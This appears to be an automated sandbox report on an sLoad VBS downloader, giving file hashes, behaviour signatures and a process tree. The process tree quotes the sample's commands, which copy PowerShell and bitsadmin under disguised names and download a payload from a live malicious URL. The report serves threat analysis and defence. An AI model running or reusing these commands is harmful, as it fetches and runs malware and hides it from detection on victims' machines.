Analysis

  • max time kernel
    64s
  • max time network
    87s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    28-03-2022 04:01

General

  • Target

    23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs

  • Size

    6KB

  • MD5

    31f505685ab56e105729d6a60a7a6984

  • SHA1

    1f6fb6b55cd9fbd42b0ca0ec5f8227d9f6973255

  • SHA256

    23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631

  • SHA512

    b1baaf13e79f3ef6000510ff4c2e90373105b7a8ffd53b3f9b06e2ae824c562f9e287e5319f2699a331de10717d65775307fb1e006b3d14d19cb82b5a39d119d

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:504
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe
        3⤵
          PID:1580
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
          3⤵
            PID:1904
        • C:\ProgramData\YVxNfVgin.exe
          "C:\ProgramData\YVxNfVgin.exe" /transfer HYlQgP /download https://fhivelifestyle.online/lidepato/MLIMNT54C54F979H/1x1.css C:\Users\Admin\AppData\Roaming\1x1.css
          2⤵
          • Executes dropped EXE
          PID:4648

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\YVxNfVgin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

      • C:\ProgramData\YVxNfVgin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a